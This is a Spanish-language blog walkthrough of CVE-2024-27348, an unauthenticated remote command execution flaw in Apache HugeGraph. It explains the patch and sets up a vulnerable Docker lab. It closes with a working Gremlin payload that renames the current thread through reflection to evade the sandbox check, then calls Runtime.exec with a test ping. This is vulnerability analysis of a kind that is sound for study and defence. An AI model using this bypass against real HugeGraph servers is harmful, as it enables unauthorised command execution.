CVE-2024-27348

3 de octubre de 2024


CVE-2024-27348 - Apache HugeGraph

Recientemente se descubrió una vulnerabilidad que afecta a las versiones de este servicio, desde la 1.0.0 hasta la 1.3.0, con un nivel de criticidad muy alto ya que permite ejecución remota de comandos (RCE) sin necesidad de autenticación.

Pero empecemos por lo primero, ¿qué es Apache HugeGraph?

Se trata de un sistema de almacenamiento y procesamiento de grafos distribuido, diseñado para manejar grandes volúmenes de datos estructurados, que son útiles para modelar relaciones complejas entre entidades en aplicaciones como redes sociales, análisis de redes, recomendaciones y más.

Al tratarse de un proyecto de código abierto, podemos examinar el commit donde se sanitizó el fallo y entender más en profundidad en qué consiste. El archivo donde se acontence la inyección de comandos es el HugeFactoryAuthProxy.java, concretamente en la función filterCriticalSystemClasses(). Se agrega una función que permite filtrar por varios métodos de reflexión con llamadas a nivel de sistema (Syscalls) de la clase java.lang.ProcessImpl.

La reflexión en programación se refiere a la capacidad de un programa para examinar y modificar su propia estructura (como clases, métodos...) y comportamiento en tiempo de ejecución. Permite a los programas manipular objetos y clases de manera dinámica, incluso si no se conoce su estructura en tiempo de compilación.

La función optionalMethodsToFilter() en el archivo HugeSecurityManager.java proporciona una flexibilidad mayor al permitir la especificación dinámica de clases y métodos a filtrar, manejando excepciones como ClassNotFoundException para adaptarse a entornos donde ciertas clases pueden no estar disponibles.

Prueba de Concepto (PoC)

Utilizaré una imagen de docker para crear un contenedor con una versión vulnerable, y con Port Forwarding enlazar el puerto 8080 (el que utiliza por defecto Apache Hugegraph) del contenedor con el de la máquina host.

docker pull hugegraph/hugegraph:1.0.0

Para crear el contenedor:

docker run -itd –name=HGserver -p 8080:8080 hugegraph/hugegraph:1.0.0

Una vez hecho esto, tramito una petición por GET a la raíz para comprobar que está funcional

El campo apis corresponde a los diferentes endpoints para obtener diferentes datos, autenticarse y obtener tokens de sesión...

Si volvemos a ver el resumen público de la vulnerabilidad, por ejemplo, en la página de cve.org, podemos ver en el título que hacen referencia a Gremlin, que corresponde al cuarto endpoint.

En la documentación se explica los diferentes parámetros que se han de enviar por POST

Como se puede observar, la estructura para hacer las consultas se compone de una secuencia encadenada de llamadas a métodos de un objeto dado, pero ¿qué ocurre si probamos a inicializar un nuevo objeto que permita ejecutar comandos a nivel de sistema?

En principio, parece ser que existe una satinización que lo impide.

Si examinamos el código fuente, encontraremos la función que provoca tal excepción.

Ahora bien, esta excepción se evalua a través del estado booleano de la función callFromGremlin()

Y por último, dicho estado proviene de CallFromWorkerWithClass()

Esta función verifica si el hilo actual es un hilo de trabajo y si cualquier clase en su pila de llamadas coincide con una clase de un conjunto especificado.

Hay que tener en cuenta que a callFromGremlin() se le pasa como argumento GREMLIN_EXECUTOR_CLASS, que se encuentra definido aquí:

Es un conjunto inmutable, por lo que cualquier intento de modificar este conjunto resultará en una excepción en tiempo de ejecución. Las otras dos constantes GREMLIN_SERVER_WORKER y TASK_WORKER ayudan a identificar si esos hilos pertenecen al subproceso principal del servidor Gremlin.

Dicho esto, es necesario modificar con anterioridad el nombre del hilo para evitar que la función checkExec() bloqueé la llamada a nivel de sistema.

Explotación final

Para llegar a ejecutar comandos hay que realizar las siguientes acciones:

  • Thread rubbx = Thread.currentThread(); Extrae el hilo actual y lo almacena en una variable llamada rubbx.
  • Class rubbxcls = Class.forName("java.lang.Thread"); Extrae la clase del hilo anterior y lo almacena en la variable rubbxcls.
  • java.lang.reflect.Field field = rubbxcls.getDeclaredField("name"); Permite modificar el nombre del hilo donde se inyectará el comando.
  • field.setAccessible(true); Es necesario establecerlo como escritura para poder cambiarlo
  • field.set(rubbx, "rubbx"); Cambia el valor del hilo a rubbx.
  • Runtime runtime = Runtime.getRuntime(); Obtiene una instancia que permite realizar una llamada a nivel de sistema.
  • runtime.exec("ping -c1 172.17.0.1"); Mediante el método exec() se ejecuta un comando que enviará una traza ICMP para verificar que se acontece la vulnerabilidad.